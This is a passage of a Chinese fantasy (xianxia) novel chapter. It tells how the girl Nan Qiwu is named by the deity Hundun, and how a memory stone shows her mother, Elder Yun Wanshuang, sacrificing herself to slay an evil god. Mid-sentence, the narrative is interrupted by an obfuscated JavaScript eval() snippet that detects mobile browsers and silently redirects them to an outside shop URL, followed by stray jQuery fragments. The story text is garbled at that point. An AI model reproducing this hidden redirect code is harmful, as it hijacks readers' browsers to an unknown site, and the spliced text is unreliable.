梧桐神树一夜抽芽,遍山绿意与地上的茫茫白雪交织成画,生机与肃杀同时出现,此景人间难得一见。
她缓缓睁开眼,看到轻轻摇曳的绿叶,风也婆娑,树也婆娑。
明明是躺在雪地上,却不觉得寒冷,也没有被这无穷无尽的大雪掩埋。
四肢还是有些僵硬,带着长途跋涉过的酸疼,她扶着树干坐起身,抬眼只见湛蓝的天空上铺满绚丽的彩光,连缀着遥遥一点青山。薄雾朦胧,有鸾鸟声破开寂静,那鸾鸟体型庞大,翅翼扇散薄雾,远处群山轮廓浮现,却只是微渺一条,足以窥见她立足之山的巍峨。
山巅悬崖有几块规整的巨石,一道素白的身影被对着她,霜白的长发垂地,与满地积雪融为一体。
小小的南栖梧觉得她离自己分外遥远,可是她就坐在几米之外,抬手接住了一片雪。
她的周身隐约有真气涌动,像是天地间某种不可言说的存在,带着无形的法则之力,令人心生畏惧。
拖着沉重的步子,在雪上留下一串深浅不一的脚印,她重重地咳了几声,清出妨碍她说话的霜雪寒气。
“你是何人?从哪里来?”圆润的眸子紧紧盯着那道背影,手指攥紧,神经紧绷。
这是云挽霜教她的,与人交往必要出口的问题。
那道身影飘渺轻盈,像来自天上的仙人。眉眼淡漠,平静如水,但那双毫无波澜的眸中又如盛满了日月星河,生机攒动。
这样的气息过于扑朔迷离,叫人想要靠近,又心生胆怯,生怕亵渎了这位不可言喻的存在。
“又为何而来?”小姑娘鼓起勇气问道。
听到她的问题,仙人回眸,眺向满山梧桐的眼中又装满了小姑娘的身影。
……小姑娘在蓬莱从未听过这样的语调和声音。生机勃发的昂扬之意混杂着微弱的死气,又像是玉石相扣之声清澈澄明。
合生与死,同光与暗,化黑与白,像是囊括了世间万物一般通透。
仿佛自带回音,飘飘渺渺,从极远的地方传来,却近在眼前,叩进她的心间,令她的心神为之一震。
“从道而来,以道为事。”
混沌施施然一笑,如清风过脾,足以吹化万年不化的坚冰。
那片被接住的雪花混沌的手中竟未融化,她那包容了万物的,叫人看不真切的眼眸一垂,掌心朝上,雪花便轻颤着自她手上飘起,缓缓升空,被风轻推着往前朝小姑娘飞去。
她下意识伸出手去接,那雪也恰好落在了她的手心,微凉。
随后变成了一朵艳红的花,极其昳丽,如血沁成的一般。
是这茫茫雪地上,唯一的一抹鲜艳的颜色。
*
南山的雪从来没有停过,暖日也无法将其融化,反而为其镀上一层金边。孟极和驺虞在雪地里打着滚儿。
“受故人所托,你我相逢,亦是有缘。”
混沌不知何时出现在对着蓬莱仙岛方向发呆的小姑娘身后,轻声开口。
“既然落于我这座山,便叫你‘栖梧’罢。”
恰好,她的生父也姓南。
从此之后,霜云峰最受宠爱的小姑娘有了名字,叫作南栖梧。
留影石关于南山的画面到此终止,还有许多未曾展示的往事。
或许是不需要,或许是记录之人来不及。
*
比如受人所托,混沌封锁了她对于蓬莱仙岛的所有记忆。这一术法耗时良久,南栖梧便沉睡了许多年,其间停止了生长,始终保持着初来南山的模样。
锁落成时,大雪已经掩盖了蓬莱。混沌虽身在南山,却可以看到世间一切,若她想知,天下事没有什么可以躲过她的目光。
南栖梧醒后,混沌便开始慢慢传她大道。直到天羡再次到来。
*
留影石的场景再次变换。
阴云密布,满地狼藉,哀嚎惨叫声不绝于耳,昔日的蓬莱仙岛变为人间炼狱。
霜云峰弟子死伤大半,侥幸存活的不过寥寥,灵力微弱,随时都会成为倒在血泊中的下一个。
云挽霜提剑而立,抹去嘴角血迹,后足点地,再次砍向空中庞大的身影。
霜华剑碰到坚硬的外壳,发出闷响,随即剑身被祂两指夹住,邪神睨她一眼,勾起一抹若有若无的嘲弄:“不愧是蓬莱难得一见的天才,霜华长老。”
祂轻轻一甩,将她甩到地上,云挽霜后背撞到了碎石,痛的她皱了皱眉。
身侧是歪七倒八的同门尸骸,个个死不瞑目,个个肢体残破。
“不过蚍蜉,也想撼树。”邪神的力量与他们隔着天堑,上千人加起来都不是祂的对手,而今只有云挽霜的剑勉强可使出力量。
“你们岛上的人呢?怎么,霜云庇佑他们千年,如今跑得一干二净,不过都是些忘恩负义的东西,长老又何必执迷不悟呢?”
邪神如是道,话语里是掩饰不住的恶意。
“到我的身边来,以你资质,绝不会停步于区区渡劫。就让我来成为你的护道人,我们共同抹灭这个人世间。”
云挽霜懒得听他说话,也不想多费口舌同这东西解释。混沌告知邪神即将来临之时,她已让人将岛内百姓悉数送出,留守在此地的不过几个宗门而已,能有凡人才怪。
“长老意下如何?是否需要我再劝劝?”邪神周身萦绕着黑色雾气,他的力量毁天灭地,只是单方面的屠戮让他不感兴趣,总得找些乐趣,否则以云挽霜这点快要耗干的灵力,祂要灭她不过抬指的事。
云挽霜清冷的容颜荡开一抹笑来,不达眼底,带着一点怜悯。
“我为苍生活,也为苍生死。”
她燃尽神魂,经脉逆转,将所有灵力汇聚到霜华剑上,朝着邪神劈去——
五脏六腑在她踏天途中慢慢碎裂,她的嗅觉听觉触觉也渐渐消失。
邪神眉梢微挑,像是不明白她为何明知自己不可能战胜,还要义无反顾地冲上来。倒是有些可怜她了。
祂叹了口气,准备挡掉她这攻势,发现自己居然动弹不得了。
眼前闪过一道红色的影子,穿着戏子般的衣袍,十指缠绕着红线,剑眉星目,杀意滔天。
“傩道……”邪神喃喃自语,眼中划过一丝不解。
人间有傩师,可与鬼神沟通,在重要节日都会出现。
若入道,可操控鬼神,不过代价极高,需要以自身寿命为代价,故而没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724004|207707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人会选择此道。
那位男子指尖一动,邪神的手脚也不听使唤跟着动了起来,呈现一个大字僵在空中。
剑光裹挟着排山倒海般的气势直逼他的心脉,祂的骨头寸寸断裂,难以置信地化作团团黑雾。霜华劈开祂层层防护,扎进祂的妖灵。邪神身上的黑气立马缠上她的脖颈,用力一勒。
云挽霜失去了触觉,感觉不到疼,她只觉得眼前有些发黑,于是更加用力往下捅。
剑尖受到的阻力忽然变轻,可是她听不到妖灵破裂之声了。
而后天光大亮,血月退散,下起了暴雨,夹杂着血腥气。
云挽霜自高空坠落,红色的身影迅速闪至她的身边将她接住。
她的温度骤降,生机迅速流失,抬眼看向那道红色影子,却聚不了焦了。
视觉于此刻失灵。
“苍生所系,吾道不孤。”
云挽霜再也没有留下其它的话。
*
留影石的画面戛然而止。它的光芒黯淡下去,随后碎成粉末。室内割裂的场景也随之散去。
南栖梧捧着一把粉末,半天没有动静。
那种心口发闷的感觉比以往更加强烈,她有些无措地抬眼,看向身边的苍远渡。
脸颊传来微凉的触感,苍远渡的拇指轻轻抚过她的眼尾,停在那颗小痣上,声音温柔:“师妹,可是难过?”
“遇不平人,见不平事,心中不快,此为愤慨,所以我们拔剑相助。”
苍远渡垂眸,看到她的眼里隐约晃着一片朦胧。
“见到亲人,心中遗憾,此为难过。”
他知受缚心锁影响,南栖梧不会表达自己的情绪,于是像以往教她剑招心法那般,告诉她这些是什么。
若寻常人见到至亲惨死,免不了要嚎啕大哭一场。霜华长老以身殉道,着实悲烈,又怎会不令人动容。
何况这是她的阿娘。
纵使她在蓬莱的日子不多,等她有记忆以来,人已经在南山,也忘记了自己为何会来到此地。
“所以可以难受,也可以哭。若你需要师兄的话,我在。”
心脉处剧烈跳动,震得南栖梧眼睫颤了又颤。缠绕在上面细细密密的金线松了松,又绕回去,只不过有裂痕的那几根的光芒变弱,然后无声断裂,消失的无影无踪。
南栖梧的心跳恢复平稳,那些“难过”尚且来不及发作,便被束了回去。
“娘亲若还在,定然不希望我因为她而流泪。”南栖梧握住苍远渡的手指,将它拿开,目光是一贯的平静。
“苍生所系,究竟为何?”她问道。
苍远渡看着她探究的神色,略一沉吟:“温饱,平安,此为基础。”
“权势,名声,财物,此为追求。”
喜怒哀乐贪嗔痴怨,说不清道不明,织就成的这天下苍生画卷。故而巷陌之间大小事情不断,皆有各自的追求,合作,争夺,残杀,倒是达成了另一种形式的平衡。
正因凡尘是非纠葛太多,因果繁复,修士才不能轻易干涉凡间之事,所做的不过斩妖除魔,不让超脱凡人认知的事物干扰他们各自的因果。
……他们或许还有一道执念:长生。